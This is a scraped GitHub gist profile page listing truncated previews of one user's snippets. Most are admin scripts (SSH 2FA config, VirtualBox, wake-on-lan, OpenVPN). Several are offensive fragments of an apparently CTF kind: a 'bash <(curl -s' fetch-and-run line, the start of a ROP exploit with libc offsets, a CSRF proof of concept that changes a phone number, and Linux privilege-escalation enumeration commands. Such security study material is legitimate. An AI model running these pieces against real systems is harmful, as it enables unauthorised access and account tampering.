Skip to content

Instantly share code, notes, and snippets.


cedric cedriczirtacic

Block or report user

Report or block cedriczirtacic

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
cedriczirtacic / attributes.rb
Created Apr 20, 2019 — forked from lizthegrey/attributes.rb
Hardening SSH with 2fa
View attributes.rb
default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'
# TOR Setup Script
# Author: Nick Busey
# This file is meant to get SSH access via Tor to an Ubuntu server in one command.
# Quick Usage (as root): $ bash <(curl -s
# Usage for the paranoid:
cedriczirtacic /
Created Feb 12, 2019
wake-on-lan using scapy
from scapy.sendrecv import send
from scapy.layers.inet import *
from binascii import unhexlify
import sys
magic = ''
for h in sys.argv[1].split(':'): magic += unhexlify(h);
send(IP(dst="")/UDP(dport=9)/Raw(load=(chr(0xff)*6 + magic*16)))
cedriczirtacic /
Last active Feb 4, 2019
quick VBox (headless) admin script
# cedric
# XXX: this is how I prefer to stop a VM, change this at will
function perror() { echo -e $@ 1>&2; }
function vm_exists() {
local VM=$1
VBoxManage showvminfo "${VM}" >/dev/null 2>&1
return $?
import logging
from angr import *
from pwn import log
[0x00001080]> afl~com
0x00001173 3 110 sym.comprueba_0
0x000011e1 3 112 sym.comprueba_1
0x00001251 3 116 sym.comprueba_2
cedriczirtacic /
Created Jan 14, 2019
Frolic rop exploit
from struct import pack
def little(x):
return pack('<I', x)
buf_len = 52
libc_addr = 0xb7e19000
system_off = 0x0003ada0
View cell_bac_csrf.html
<script type="text/javascript" src=""></script>
<body onload="change();">
<p>cellphone change poc</p>
<script type="text/javascript">
function change()
var paramsValues = {cellPhoneNumber: "12345678" };

Compile steghide in macOS X

Check if gettext is installed, if not use Homebrew to get it:

$ brew install gettext

Get the gettext library and cpp flags, and configure with those flags:

$ brew info gettext | grep FLAGS
cedriczirtacic / linux_privesc
Created Jun 14, 2018 — forked from sckalath/linux_privesc
Linux Privilege Escalation Techniques
View linux_privesc
// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs
View openvpn_installer
# OpenVPN Installer
# This installer was designed to work with Ubuntu 14.04. It installs
# an OpenVPN server, generates an associated OpenVPN client configuration file,
# configures a firewall, and enables automatic security updates.
# Once the installer finishes, the `/root/$CLIENT.ovpn` file will have been generated.
# Download this file to your local machine and open it in an OpenVPN client and you'll
You can’t perform that action at this time.